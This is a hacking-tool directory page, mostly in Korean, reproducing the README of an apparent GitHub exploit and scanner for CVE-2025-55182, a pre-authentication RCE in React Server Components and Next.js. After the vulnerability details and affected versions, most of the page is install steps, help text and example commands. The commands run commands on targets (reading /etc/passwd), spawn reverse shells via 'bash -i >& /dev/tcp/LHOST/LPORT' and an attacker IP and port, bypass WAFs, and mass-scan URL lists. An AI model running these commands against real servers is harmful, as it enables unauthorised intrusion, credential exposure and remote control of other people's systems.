Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182-Waf — Next.js/React RSC 서버의 CVE-2025-55182 RCE 취약점 (익스플로잇 및 스캐너) | Kitploit
도구/GitHubGitHub/l0n3m4n/cve-2025-55182-waf
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationWAF BypassPenetration TestingCommand and ControlRemote Access Tool
GitHubl0n3m4n/cve-2025-55182-waf

CVE-2025-55182-Waf

Next.js/React RSC 서버의 CVE-2025-55182 RCE 취약점 (익스플로잇 및 스캐너)

저장소 보기
21149개월 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Next.js/React RSC Scanner & Exploit - RCE

Facebook X Medium Buy Me a Coffee ProtonMail


이 도구는 보안 연구원과 침투 테스터가 Next.js/React RSC 애플리케이션의 CVE-2025-55182 취약점을 탐지하고 악용할 수 있도록 설계되었습니다. 여러 스캔 모드, 악용 기능 및 WAF 우회 기술을 제공합니다.

✨ Features

  • 🎯 다중 스캔 모드: rce, safe, vercel_bypass 모드 중에서 선택하세요.
  • 💥 간편한 악용: 취약한 대상에서 명령 실행 또는 리버스 셸 획득.
  • 📂 사용자 정의 페이로드: 문자열 또는 파일에서 사용자 정의 페이로드를 제공합니다.
  • 🛡️ WAF 우회: 웹 애플리케이션 방화벽을 우회하는 기술.
  • ⚡ 빠르고 동시적: asyncio를 사용하여 여러 대상을 스캔합니다.
  • 📝 상세 출력: 쉬운 디버깅을 위한 정리되고 상세한 출력.
  • 🎨 컬러 출력: 가독성 향상을 위해.
  • 🤖 자동 OS 감지: 특히 리버스 셸을 위해 더 스마트한 악용을 지원하도록 대상의 운영 체제(Linux/Windows)를 자동으로 감지합니다.

📈 Vulnerability Details

CategoryInformation
게시일2025-12-03
기본 점수10.0 (치명적)
연구자Lachlan Davidson (https://github.com/lachlan2k)
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
설명React Server Components의 치명적인 원격 코드 실행(RCE) 취약점입니다. Next.js와 같은 프레임워크를 포함해 React의 서버 측 런타임을 사용하는 애플리케이션이 영향을 받습니다. 이 문제는 신뢰할 수 없는 “Flight” 프로토콜 데이터의 안전하지 않은 역직렬화로 인해 발생하며, 공격자가 서버에서 사전 인증 코드 실행을 달성할 수 있게 합니다. 패치된 React 및 프레임워크 버전으로 업데이트해야 합니다.
EPSS 점수27.81% (악용 확률)
CISA KEV 카탈로그등록됨: 예, 랜섬웨어: 알 수 없음
HackerOne Hacktivity순위: 1, 보고서: 92
패치 우선순위A+

🎯 Affected Versions

이 취약점은 다음 React Server Components 버전에 영향을 미칩니다:

  • React Server Components: 19.0.0, 19.1.0, 19.1.1, 및 19.2.0
  • Next.js 버전 ≥14.3.0-canary.77, 모든 15.x 및 16.x
  • RSC를 사용하는 프레임워크: React Router(RSC 모드), Waku, Redwood SDK 및 다양한 RSC 플러그인

다음 패키지도 영향을 받습니다:

  • react-server-dom-parcel
  • react-server-dom-turbopack
  • react-server-dom-webpack

🛠️ Installation```bash

git clone https://github.com/l0n3m4n/CVE-2025-55182.git cd CVE-2025-55182

Create a virtual environment

python3 -m venv venv-55182 source venv-55182/bin/activate

Install dependencies

pip install -r requirements.txt

## 사용법```bash
❯ python3 CVE-2025-55182.py -h

__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

usage: CVE-2025-55182.py [-h] (-u URL | -f FILE) [-c COMMAND] [-p PAYLOAD] [-r LHOST:LPORT] [-sm MODE]
                         [-wb] [-wbs KB] [-wbu] [-o FILE] [-t NUM] [-T SEC] [-P URL] [-H HEADER] [-v]

Powerful all-in-one tool (scan and exploit) CVE-2025-55182 in Next.js applications

options:
  -h, --help                       show this help message and exit
  -u, --url URL                    Single URL to scan or exploit.
  -f, --file FILE                  File containing a list of URLs to scan/exploit.

Exploitation Options:
  -c, --command COMMAND            Command to execute on the target(s).
  -p, --payloads PAYLOAD           Custom payload to execute on the target(s). Can be a string or a
                                   file path.
  -r, --reverse-shell LHOST:LPORT  Attempt a reverse shell.

Scanning Options:
  -sm, --scan-mode MODE            Scanning technique. Choices: {rce, safe, vercel_bypass}. (default:
                                   rce)
  -wb, --waf-bypass                Add junk data to the request to bypass WAFs.
  -wbs, --waf-bypass-size KB       Size of junk data in KB (default: 128).
  -wbu, --waf-bypass-utf16le       Use UTF-16LE encoding to bypass WAFs.

General Options:
  -o, --output FILE                File to save vulnerable URLs from scans.
  -t, --threads NUM                Number of concurrent threads (default: 10).
  -T, --timeout SEC                Request timeout in seconds (default: 10).
  -P, --proxy URL                  Proxy to use (e.g., http://127.0.0.1:8080).
  -H, --header HEADER              Add custom headers (e.g., 'Cookie: session=...').
  -v, --verbose                    Enable verbose output for success/failed/non-vulnerable checks.

🔬 스캔 모드

  • rce (기본값): 활성 스캔 모드로, echo 명령을 실행하여 취약점을 확인합니다. 가장 신뢰할 수 있는 방법이지만 대상 시스템에 로그가 남을 수 있습니다.
  • safe: 부채널(side-channel) 스캔 모드로, 명령을 실행하지 않습니다. 특정 오류 메시지(E{"digest")가 나타나는지 확인하여 대상이 취약한지 판단합니다. rce 모드보다 안전하지만 신뢰도는 낮을 수 있습니다.
  • vercel_bypass: 특정 페이로드를 사용하여 Vercel의 WAF를 우회하고 X-Action-Redirect 헤더에서 명령 출력을 확인합니다.

다양한 인코딩 기법을 사용한 WAF 우회

크레딧: @coffinxp7 wafbyass

🚀 예제

스캔```bash

Scan a single URL with the default rce check

python3 CVE-2025-55182.py -u http://target.com

Scan a list of URLs with the safe mode and 20 threads

python3 CVE-2025-55182.py -f urls.txt -sm safe -t 20

Scan with Vercel WAF bypass mode and save vulnerable URLs to a file

python3 CVE-2025-55182.py -f urls.txt -sm vercel_bypass -o vulnerable.txt

### 악용```bash
# Execute a command on a single target
python3 CVE-2025-55182.py -u http://target.com -c "cat /etc/passwd"

# Use WAF bypass techniques
python3 CVE-2025-55182.py -u http://target.com -c "whoami" -wb

# Use a custom payload string
python3 CVE-2025-55182.py -u http://target.com -p "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"

# Use a custom payload from a file (windows target)
python3 CVE-2025-55182.py -u http://target.com -p windows_revshell.sh

# Get a reverse shell (linux default reverse shell) 
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444

# Get a reverse shell using a payload file (linux target)
python3 CVE-2025-55182.py -u http://target.com -p linux_revshell.sh

# Force a windows reverse shell payload if auto-detection fails
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444 --os windows

# Intercept in Burpsuite  
python3 CVE-2025-55182.py -u http://target.com -wbu -P http://127.0.0.1:8080
도구 다운로드